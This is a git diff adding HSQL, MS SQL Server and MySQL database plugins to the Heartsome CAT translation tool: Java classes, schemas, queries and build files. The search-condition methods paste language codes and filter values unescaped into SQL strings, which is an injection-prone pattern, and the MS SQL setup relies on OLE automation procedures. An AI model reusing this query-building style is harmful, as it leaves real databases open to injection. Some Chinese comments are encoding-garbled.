= new StringBuffer(); + if (srcLang != null) { + strCondition.append(" AND LANG='" + srcLang + "'"); + } else { + return null; + } + if (isApplyRegular) { + strCondition.append(" AND REGEXP_SUBSTRING(" + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + ", '" + + (isCaseSensitive ? "" : "(?i)") + TextUtil.replaceRegextSqlWithHSQL(strSearch) + "')!=''"); + } else if (isCaseSensitive) { + strCondition.append(" AND " + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + " LIKE '%" + + TextUtil.cleanStringByLikeWithHSQL(strSearch) + "%' ESCAPE '\\\\'"); + } else { + strCondition.append(" AND upper(" + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + ") LIKE '%" + + TextUtil.cleanStringByLikeWithHSQL(strSearch).toUpperCase() + "%' ESCAPE '\\\\'"); + } + if (arrFilter != null) { + StringBuffer strFilter = new StringBuffer(arrFilter[1] + " '%" + + TextUtil.cleanStringByLikeWithHSQL(arrFilter[2]).toUpperCase() + "%' ESCAPE '\\\\'"); + // 过滤æ¡ä»¶è¦åŠ åœ¨æºè¯­è¨€ä¸­ + if (arrFilter[0].equalsIgnoreCase(srcLang)) { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", ""); + strFilter.insert(0, " AND upper(A.PURE) "); + strCondition.append(strFilter.toString()); + } else { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", " ,TEXTDATA B "); + strCondition.append(" AND A.GROUPID=B.GROUPID AND B.TYPE='M' AND B.LANG='" + arrFilter[0] + "'"); + strFilter.insert(0, " AND upper(B.PURE) "); + strCondition.append(strFilter.toString()); + } + } else { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", ""); + } + sql = Utils.replaceString(sql, "__CONDITION__", strCondition.toString()); + return sql; + } + + @Override + public Vector> findAllTermsByText(String srcPureText, String srcLang, String tarLang) + throws SQLException { + Vector> terms = new Vector>(); + // 构建SQL + String getTermSql = dbConfig.getOperateDbSQL("getTerm"); + PreparedStatement stmt = conn.prepareStatement(getTermSql); + + stmt.setString(1, tarLang); + stmt.setString(2, srcLang + "," + tarLang); + stmt.setString(3, tarLang + "," + srcLang); + stmt.setString(4, srcLang); + stmt.setString(5, srcPureText.toLowerCase()); + + /* + * SELECT A.TPKID, A.PURE, B.PURE FROM TEXTDATA A LEFT JOIN TEXTDATA B ON A.GROUPID=B.GROUPID AND B.LANG=? AND + * B.TYPE='B' WHERE A.TYPE='B' AND A.LANG=? AND LOCATE(A.PURE, ?) AND B.PURE IS NOT NULL; + */ + + ResultSet rs = stmt.executeQuery(); + while (rs.next()) { + String tuid = rs.getString(1); + String srcWord = rs.getString(2); + String tgtWord = rs.getString(3); + String property = rs.getString(4); + Hashtable tu = new Hashtable(); + tu.put("tuid", tuid); + tu.put("srcLang", srcLang); + tu.put("srcWord", srcWord); + tu.put("tgtLang", tarLang); + tu.put("tgtWord", tgtWord); + tu.put("property", property == null ? "" : property); + terms.add(tu); + } + rs.close(); + stmt.close(); + return terms; + } + + @Override + public boolean isReadOnly() { + // no thing to to + return false; + } +} diff --git a/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/resource/Messages.java b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/resource/Messages.java new file mode 100644 index 0000000..b1fa131 --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/resource/Messages.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.database.hsql.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.database.hsql.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/resource/message.properties b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/resource/message.properties new file mode 100644 index 0000000..4e2dda8 --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/resource/message.properties @@ -0,0 +1,3 @@ +hsql.OperateSystemDBImpl.logger1 = [LOG] \u52a0\u8f7d JDBC \u9a71\u52a8\u5931\u8d25 +hsql.OperateSystemDBImpl.logger2 = [LOG] InternalDb \u521b\u5efa\u7cfb\u7edf\u8868\u51fa\u9519 +hsql.OperateSystemDBImpl.logger3 = [LOG] \u672a\u627e\u5230 JDBC \u9a71\u52a8\u7c7b \ No newline at end of file diff --git a/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/resource/message_en.properties b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/resource/message_en.properties new file mode 100644 index 0000000..e8d1464 --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/resource/message_en.properties @@ -0,0 +1,3 @@ +hsql.OperateSystemDBImpl.logger1 = [LOG] \u52a0\u8f7d JDBC \u9a71\u52a8\u5931\u8d25 +hsql.OperateSystemDBImpl.logger2 = [LOG] InternalDb \u521b\u5efa\u7cfb\u7edf\u8868\u51fa\u9519 +hsql.OperateSystemDBImpl.logger3 = [LOG] \u672a\u627e\u5230 JDBC \u9a71\u52a8\u7c7b diff --git a/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/resource/message_zh.properties b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/resource/message_zh.properties new file mode 100644 index 0000000..4e2dda8 --- /dev/null +++ b/database/net.heartsome.cat.database.hsql/src/net/heartsome/cat/database/hsql/resource/message_zh.properties @@ -0,0 +1,3 @@ +hsql.OperateSystemDBImpl.logger1 = [LOG] \u52a0\u8f7d JDBC \u9a71\u52a8\u5931\u8d25 +hsql.OperateSystemDBImpl.logger2 = [LOG] InternalDb \u521b\u5efa\u7cfb\u7edf\u8868\u51fa\u9519 +hsql.OperateSystemDBImpl.logger3 = [LOG] \u672a\u627e\u5230 JDBC \u9a71\u52a8\u7c7b \ No newline at end of file diff --git a/database/net.heartsome.cat.database.mssql/.classpath b/database/net.heartsome.cat.database.mssql/.classpath new file mode 100644 index 0000000..3219abb --- /dev/null +++ b/database/net.heartsome.cat.database.mssql/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/database/net.heartsome.cat.database.mssql/.project b/database/net.heartsome.cat.database.mssql/.project new file mode 100644 index 0000000..2f9001a --- /dev/null +++ b/database/net.heartsome.cat.database.mssql/.project @@ -0,0 +1,33 @@ + + + net.heartsome.cat.database.mssql + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + org.eclipse.pde.ds.core.builder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/database/net.heartsome.cat.database.mssql/.settings/org.eclipse.jdt.core.prefs b/database/net.heartsome.cat.database.mssql/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..76bfdc8 --- /dev/null +++ b/database/net.heartsome.cat.database.mssql/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:27:26 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/database/net.heartsome.cat.database.mssql/Configure/db_config.xml b/database/net.heartsome.cat.database.mssql/Configure/db_config.xml new file mode 100644 index 0000000..7d219e7 --- /dev/null +++ b/database/net.heartsome.cat.database.mssql/Configure/db_config.xml @@ -0,0 +1,377 @@ + + + + net.sourceforge.jtds.jdbc.Driver + jdbc:jtds:sqlserver://__SERVER_NAME__:__PORT_NUMBER__/__DATABASE_NAME__ + + + localhost + MsSQL2005 + 1433 + + + __USER__ + __PASSWORD__ + + CREATE DATABASE __DATABASE_NAME__ + + + + + CREATE TABLE HSCATSYSDB + ( + DBNAME varchar(150) not null, + QUALITY char(1) not null, + USERS nvarchar(4000), + TYPE int not null, + primary key (DBNAME) + ) + + + INSERT INTO HSCATSYSDB (DBNAME,QUALITY,TYPE) VALUES (?,?,?) + + DELETE FROM HSCATSYSDB WHERE DBNAME=? + SELECT DBNAME, QUALITY, USERS FROM HSCATSYSDB WHERE TYPE=? + + + + + + + CREATE TABLE MHEADER + ( + MHPKID int IDENTITY(1,1) not null, + CREATIONTOOL varchar(200), + CTVERSION varchar(200), + TMF varchar(255), + SRCLANG varchar(6), + ADMINLANG + varchar(6), + DATATYPE varchar(10), + SEGTYPE varchar(10), + CREATIONID + varchar(40), + CREATIONDATE varchar(28), + CHANGEID varchar(40), + CHANGEDATE + varchar(28), + ENCODING varchar(15), + primary key (MHPKID) + ) + + + CREATE TABLE MHEADERNODE + ( + MHNPKID int IDENTITY(1,1) not null, + MHPKID int not null, + NNAME + varchar(100) not null, + NTYPE char(1) not null, + CONTENT varchar(max) not + null, + primary key (MHNPKID) + ) + + + create table MTU + ( + MTUPKID int IDENTITY(1,1) not null, + MHPKID int not null, + TUID varchar(100), + CREATIONID varchar(40), + CREATIONDATE datetime, + CHANGEID varchar(40), + CHANGEDATE datetime, + CREATIONTOOL varchar(200), + CTVERSION varchar(200), + CLIENT varchar(255), + PROJECTREF varchar(255), + JOBREF varchar(255), + primary key (MTUPKID) + ) + + + CREATE TABLE LANG + ( + LANGCODE varchar(6) not null, + primary key (LANGCODE) + ) + + + CREATE TABLE MPROP + ( + MPPKID int IDENTITY(1,1) not null, + PARENTNAME varchar(30) not null, + PARENTID int not null, + PNAME varchar(100) not null, + LANG varchar(6), + ENCODING varchar(15), + CONTENT varchar(max) not null, + primary key (MPPKID) + ) + + + + CREATE TABLE MEXTRA + ( + MEPKID int IDENTITY(1,1) not null, + PARENTNAME varchar(30) not null, + PARENTID int not null, + NTYPE char(1) not null, + NNAME varchar(100) not null, + CONTENT varchar(max) not null, + primary key (MEPKID) + ) + + + CREATE TABLE MNOTE + ( + MNPKID int IDENTITY(1,1) not null, + PARENTNAME varchar(30) not null, + PARENTID int not null, + CONTENT varchar(max) not null, + CREATIONID varchar(40), + CREATIONDATE varchar(28), + CHANGEID varchar(40), + CHANGEDATE varchar(28), + ENCODING varchar(15), + LANG varchar(6), + primary key (MNPKID) + ) + + + CREATE TABLE TEXTDATA + ( + TPKID int IDENTITY(1,1) not null, + TYPE char(1) not null, + GROUPID int not null, + HASH int not null, + PURE varchar(max) not null, + CONTENT varchar(max) not null, + LANG varchar(6) not null, + PRECONTEXT varchar(100), + NEXTCONTEXT varchar(100), + primary key (TPKID) + ) + + + + + + create table BATTRIBUTE + ( + BAPKID int IDENTITY(1,1) not null, + BMTHPKID int not null, + ANAME + varchar(100) not null, + AVALUE varchar(255) not null, + PARENTNAME + varchar(100) not null, + primary key (BAPKID) + ) + + + create table BMARTIFHEADER + ( + BMTHPKID int IDENTITY(1,1) not null, + HID varchar(100), + CONTENT + varchar(max) not null, + primary key (BMTHPKID) + ) + + + create table BREFOBJECTLIST + ( + BROLPKID int IDENTITY(1,1) not null, + BMTHPKID int not null, + ROLID varchar(100), + CONTENT varchar(max) not null, + primary key (BROLPKID) + ) + + + create table BTERMENTRY + ( + BTEPKID int IDENTITY(1,1) not null, + BMTHPKID int not null, + CID varchar(100), + CONTENT varchar(max) not null, + primary key (BTEPKID) + ) + + + create table BNODE + ( + NPKID int IDENTITY(1,1) not null, + PARENTPKID int not null, + PARENTNAME varchar(100) not null, + NTYPE char not null, + NNAME varchar(100) not null, + NID varchar(100), + CONTENT varchar(max) not null, + primary key (NPKID) + ) + + + + + CREATE FUNCTION dbo.find_regular_expression + ( + @source varchar(5000), + @regexp varchar(1000), + @ignorecase bit = 0 + ) + RETURNS bit + AS + BEGIN + + + DECLARE @hr integer + + + DECLARE @objRegExp integer DECLARE @objMatches integer + + + DECLARE @results bit + + + EXEC @hr = sp_OACreate 'VBScript.RegExp', @objRegExp OUTPUT + IF @hr <> 0 BEGIN + SET @results = 0 + RETURN @results + END + + EXEC @hr = sp_OASetProperty @objRegExp, 'Pattern', @regexp + IF @hr <> 0 BEGIN + SET @results = 0 + RETURN @results + END + EXEC @hr = sp_OASetProperty @objRegExp, 'Global', false + IF @hr <> 0 BEGIN + SET @results = 0 + RETURN @results + END + EXEC @hr = sp_OASetProperty @objRegExp, 'IgnoreCase', @ignorecase + IF @hr <> 0 BEGIN + SET @results = 0 + RETURN @results + END + + EXEC @hr = sp_OAMethod @objRegExp, 'Test', @results OUTPUT, @source + IF @hr <> 0 BEGIN + SET @results = 0 + RETURN @results + END + + EXEC @hr = sp_OADestroy @objRegExp + IF @hr <> 0 BEGIN + SET @results = 0 + RETURN @results + END + RETURN @results + END + + + + + + CREATE INDEX IDX_TEXTDATA_GROUPID ON TEXTDATA (GROUPID) + CREATE INDEX IDX_TEXTDATA_HASH ON TEXTDATA (HASH) + CREATE INDEX IDX_MPROP_PARENTID ON MPROP (PARENTID) + CREATE INDEX IDX_MEXTRA_PARENTID ON MEXTRA (PARENTID) + CREATE INDEX IDX_MNOTE_PARENTID ON MNOTE (PARENTID) + + + + + + + create table MATRIX___LANG__ + ( + MPKID int IDENTITY(1,1) not null, + TPKID int not null, + NGRAM int not null, + SEGSIZE smallint not null, + primary key (MPKID) + ) + + + + + CREATE INDEX IDX___LANG___NGRAM_SEGSIZE ON MATRIX___LANG__ + (NGRAM,SEGSIZE) + + + + INSERT INTO MATRIX___LANG__ + (TPKID,NGRAM,SEGSIZE) + VALUES (?,?,?) + + + DELETE FROM MATRIX___LANG__ + WHERE __WHERE__ + + + SELECT TPKID FROM MATRIX___LANG__ + WHERE SEGSIZE >=? AND SEGSIZE <=? AND NGRAM IN (__SET__) + + + SELECT + TPKID + FROM + MATRIX_ENUS + WHERE SEGSIZE >=? AND SEGSIZE <=? AND NGRAM IN (__SET__) + GROUP BY TPKID HAVING COUNT(TPKID) BETWEEN ? AND ? + + + + + + + SELECT B.GROUPID, LANG, PURE, CONTENT, + PRECONTEXT,NEXTCONTEXT, TUID, CREATIONID, CREATIONDATE, + CHANGEID, CHANGEDATE, PROJECTREF, JOBREF, CLIENT + FROM + (SELECT GROUPID FROM TEXTDATA WHERE TPKID IN (__SET__)) A + LEFT JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + LEFT JOIN MTU C ON C.MTUPKID=A.GROUPID + WHERE B.TYPE='M' AND B.LANG=? OR B.LANG=? + + + + SELECT A.TPKID, A.PURE, B.PURE, C.CONTENT FROM TEXTDATA A + LEFT JOIN TEXTDATA B ON A.GROUPID=B.GROUPID AND B.LANG=? AND + B.TYPE='B' + LEFT JOIN BNODE C ON A.GROUPID = C.PARENTPKID AND C.PARENTNAME = + 'termEntry' + AND C.NTYPE = 'E' AND C.NNAME = 'note' AND (C.NID = ? OR C.NID = ?) + WHERE A.TYPE='B' AND A.LANG=? AND PATINDEX(STUFF('%%',2,0,CAST(A.PURE + AS NVARCHAR(4000))),?) > 0 + AND B.PURE IS NOT NULL + + + + + SELECT GROUPID FROM TEXTDATA WHERE LANG = ? AND + LEN(RTRIM(LTRIM(CONTENT)))=0 + + + + UPDATE TEXTDATA SET CONTENT = + RTRIM(LTRIM(CONTENT)) + WHERE + LEN(CONTENT)<>LEN(RTRIM(LTRIM(CONTENT))) + + + + + + \ No newline at end of file diff --git a/database/net.heartsome.cat.database.mssql/META-INF/MANIFEST.MF b/database/net.heartsome.cat.database.mssql/META-INF/MANIFEST.MF new file mode 100644 index 0000000..d92811f --- /dev/null +++ b/database/net.heartsome.cat.database.mssql/META-INF/MANIFEST.MF @@ -0,0 +1,15 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Database MS SQL +Bundle-SymbolicName: net.heartsome.cat.database.mssql +Bundle-Version: 8.0.0.R8b_v20121203 +Bundle-Activator: net.heartsome.cat.database.mssql.Activator +Require-Bundle: org.eclipse.core.runtime, + net.heartsome.cat.database;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-ClassPath: lib/jtds-1.1.jar, + . +Bundle-Vendor: Heartsome Technologies Ltd. + diff --git a/database/net.heartsome.cat.database.mssql/build.properties b/database/net.heartsome.cat.database.mssql/build.properties new file mode 100644 index 0000000..4df3f64 --- /dev/null +++ b/database/net.heartsome.cat.database.mssql/build.properties @@ -0,0 +1,7 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + lib/jtds-1.1.jar,\ + Configure/ diff --git a/database/net.heartsome.cat.database.mssql/lib/jtds-1.1.jar b/database/net.heartsome.cat.database.mssql/lib/jtds-1.1.jar new file mode 100644 index 0000000..41766cb Binary files /dev/null and b/database/net.heartsome.cat.database.mssql/lib/jtds-1.1.jar differ diff --git a/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/Activator.java b/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/Activator.java new file mode 100644 index 0000000..7ea62dc --- /dev/null +++ b/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.database.mssql; + +import net.heartsome.cat.database.DBServiceProvider; + +import org.eclipse.core.runtime.Plugin; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends Plugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.database.mssql"; + + // The shared instance + private static Activator plugin; + + // The mssql service registration + private ServiceRegistration mssqlServiceRegistration; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + + DbServiceProviderImpl service = new DbServiceProviderImpl(); + mssqlServiceRegistration = context.registerService(DBServiceProvider.class, service, null); + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + + mssqlServiceRegistration.unregister(); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/DbServiceProviderImpl.java b/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/DbServiceProviderImpl.java new file mode 100644 index 0000000..5afce0c --- /dev/null +++ b/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/DbServiceProviderImpl.java @@ -0,0 +1,17 @@ +package net.heartsome.cat.database.mssql; + +import net.heartsome.cat.database.DBServiceProvider; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.DBOperator; + +public class DbServiceProviderImpl implements DBServiceProvider{ + + public SystemDBOperator getOperateDBInstance() { + return new OperateDBImpl(); + } + + public DBOperator getTmDatabaseInstance() { + return new TMDatabaseImpl(); + } + +} diff --git a/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/MetaDataImpl.java b/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/MetaDataImpl.java new file mode 100644 index 0000000..bf2a667 --- /dev/null +++ b/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/MetaDataImpl.java @@ -0,0 +1,17 @@ +package net.heartsome.cat.database.mssql; + +import net.heartsome.cat.common.bean.MetaData; + +public class MetaDataImpl extends MetaData{ + + @Override + public boolean dataPathSupported() { + return false; + } + + @Override + public boolean instanceSupported() { + return false; + } + +} diff --git a/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/OperateDBImpl.java b/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/OperateDBImpl.java new file mode 100644 index 0000000..c0dbd36 --- /dev/null +++ b/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/OperateDBImpl.java @@ -0,0 +1,35 @@ +package net.heartsome.cat.database.mssql; + +import java.net.URL; +import java.sql.Connection; +import java.sql.DriverManager; +import java.sql.SQLException; +import java.util.Properties; + +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBConfig; +import net.heartsome.cat.database.SystemDBOperator; + +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; + +public class OperateDBImpl extends SystemDBOperator{ + + public OperateDBImpl(){ + metaData = new MetaDataImpl(); + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + URL fileUrl = buddle.getEntry(Constants.DBCONFIG_PATH); + dbConfig = new DBConfig(fileUrl); + metaData.setDbType(dbConfig.getDefaultType()); + metaData.setServerName(dbConfig.getDefaultServer()); + metaData.setPort(dbConfig.getDefaultPort()); + } + + @Override + protected Connection getConnection(String driver, String url, Properties prop) throws ClassNotFoundException, + SQLException { + Class.forName(driver); + return DriverManager.getConnection(url, prop); + } + +} diff --git a/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/TMDatabaseImpl.java b/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/TMDatabaseImpl.java new file mode 100644 index 0000000..a214265 --- /dev/null +++ b/database/net.heartsome.cat.database.mssql/src/net/heartsome/cat/database/mssql/TMDatabaseImpl.java @@ -0,0 +1,135 @@ +package net.heartsome.cat.database.mssql; + +import java.net.URL; +import java.sql.DriverManager; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.Hashtable; +import java.util.Properties; +import java.util.Vector; + +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBConfig; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.Utils; + +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; + +/** + * @author terry + * @version + * @since JDK1.6 + */ +public class TMDatabaseImpl extends DBOperator { + + /** + * 构造函数 + */ + public TMDatabaseImpl() { + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + URL fileUrl = buddle.getEntry(Constants.DBCONFIG_PATH); + dbConfig = new DBConfig(fileUrl); + } + + @Override + public void start() throws SQLException, ClassNotFoundException { + String driver = dbConfig.getDriver(); + Class.forName(driver); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + conn = DriverManager.getConnection(url, prop); + conn.setAutoCommit(false); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.DBOperator#replaceTMOrTBConditionSql(java.lang.String, java.lang.String, boolean, + * boolean, boolean, java.lang.String, java.lang.String[]) + */ + public String replaceTMOrTBConditionSql(String sql, String strSearch, boolean isCaseSensitive, + boolean isApplyRegular, boolean isIgnoreMark, String srcLang, String[] arrFilter) { + strSearch = strSearch == null ? "" : strSearch; + StringBuffer strCondition = new StringBuffer(); + if (srcLang != null) { + strCondition.append(" AND A.LANG='" + srcLang + "'"); + } else { + return null; + } + if (isApplyRegular) { + // 使用自定义函数 dbo.find_regular_expressionï¼Œè§ net.heartsome.cat.database.mssql/Configure/db_config.xml 下 + // create-tables çš„å­èŠ‚点中创建正则表达å¼å‡½æ•°éƒ¨åˆ† + strCondition.append(" AND dbo.find_regular_expression(" + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + ",'" + + TextUtil.replaceRegextSql(strSearch) + "'," + (isCaseSensitive ? "0" : "1") + ")=1"); + } else if (isCaseSensitive) { + strCondition.append(" AND " + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + " LIKE '%" + + TextUtil.cleanStringByLikeWithMsSql(strSearch) + "%' COLLATE Chinese_PRC_CS_AS"); + } else { + strCondition.append(" AND " + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + " LIKE '%" + + TextUtil.cleanStringByLikeWithMsSql(strSearch) + "%'"); + } + + if (arrFilter != null) { + StringBuffer strFilter = new StringBuffer(arrFilter[1] + " '%" + + TextUtil.cleanStringByLikeWithMsSql(arrFilter[2]) + "%'"); + // 过滤æ¡ä»¶è¦åŠ åœ¨æºè¯­è¨€ä¸­ + if (arrFilter[0].equalsIgnoreCase(srcLang)) { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", ""); + strFilter.insert(0, " AND A.PURE "); + strCondition.append(strFilter.toString()); + } else { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", " ,TEXTDATA B "); + strCondition.append(" AND A.GROUPID=B.GROUPID AND B.TYPE='M' AND B.LANG='" + arrFilter[0] + "'"); + strFilter.insert(0, " AND B.PURE "); + strCondition.append(strFilter.toString()); + } + } else { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", ""); + } + sql = Utils.replaceString(sql, "__CONDITION__", strCondition.toString()); + return sql; + } + + @Override + public Vector> findAllTermsByText(String srcPureText, String srcLang, String tarLang) + throws SQLException { + Vector> terms = new Vector>(); + // 构建SQL + String getTermSql = dbConfig.getOperateDbSQL("getTerm"); + PreparedStatement stmt = conn.prepareStatement(getTermSql); + + stmt.setString(1, tarLang); + stmt.setString(2, srcLang + "," + tarLang); + stmt.setString(3, tarLang + "," + srcLang); + stmt.setString(4, srcLang); + stmt.setString(5, srcPureText.toLowerCase()); + + /* + * SELECT A.TPKID, A.PURE, B.PURE FROM TEXTDATA A LEFT JOIN TEXTDATA B ON A.GROUPID=B.GROUPID AND B.LANG=? AND + * B.TYPE='B' WHERE A.TYPE='B' AND A.LANG=? AND PATINDEX(STUFF('%%',2,0,CAST(A.PURE AS NVARCHAR(4000))),?) > + * 0 AND B.PURE IS NOT NULL + */ + + ResultSet rs = stmt.executeQuery(); + while (rs.next()) { + String tuid = rs.getString(1); + String srcWord = rs.getString(2); + String tgtWord = rs.getString(3); + String property = rs.getString(4); + Hashtable tu = new Hashtable(); + tu.put("tuid", tuid); + tu.put("srcLang", srcLang); + tu.put("srcWord", srcWord); + tu.put("tgtLang", tarLang); + tu.put("tgtWord", tgtWord); + tu.put("property", property == null ? "" : property); + terms.add(tu); + } + rs.close(); + stmt.close(); + return terms; + } + +} diff --git a/database/net.heartsome.cat.database.mysql/.classpath b/database/net.heartsome.cat.database.mysql/.classpath new file mode 100644 index 0000000..32e30f5 --- /dev/null +++ b/database/net.heartsome.cat.database.mysql/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/database/net.heartsome.cat.database.mysql/.project b/database/net.heartsome.cat.database.mysql/.project new file mode 100644 index 0000000..988ee26 --- /dev/null +++ b/database/net.heartsome.cat.database.mysql/.project @@ -0,0 +1,33 @@ + + + net.heartsome.cat.database.mysql + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + org.eclipse.pde.ds.core.builder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/database/net.heartsome.cat.database.mysql/.settings/org.eclipse.jdt.core.prefs b/database/net.heartsome.cat.database.mysql/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..79fcb4e --- /dev/null +++ b/database/net.heartsome.cat.database.mysql/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:28:13 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/database/net.heartsome.cat.database.mysql/Configure/db_config.xml b/database/net.heartsome.cat.database.mysql/Configure/db_config.xml new file mode 100644 index 0000000..19a3175 --- /dev/null +++ b/database/net.heartsome.cat.database.mysql/Configure/db_config.xml @@ -0,0 +1,289 @@ + + + + com.mysql.jdbc.Driver + jdbc:mysql://__SERVER_NAME__:__PORT_NUMBER__/__DATABASE_NAME__ + + + localhost + MySQL 5.x + 3306 + + + __USER__ + __PASSWORD__ + true + UTF-8 + + CREATE DATABASE __DATABASE_NAME__ CHARACTER SET utf8 + DROP DATABASE __DATABASE_NAME__ + + + + + CREATE TABLE HSCATSYSDB + ( + DBNAME varchar(150) not null, + QUALITY char(1) not null, + USERS text, + TYPE int not null, + primary key (DBNAME) + )ENGINE = InnoDB + + + INSERT INTO HSCATSYSDB (DBNAME,QUALITY,TYPE) VALUES (?,?,?) + DELETE FROM HSCATSYSDB WHERE DBNAME=? + SELECT DBNAME, QUALITY, USERS FROM HSCATSYSDB WHERE TYPE = ? + + + + + + CREATE TABLE MHEADER + ( + MHPKID int not null AUTO_INCREMENT, + CREATIONTOOL varchar(200), + CTVERSION varchar(200), + TMF varchar(255), + SRCLANG varchar(6), + ADMINLANG 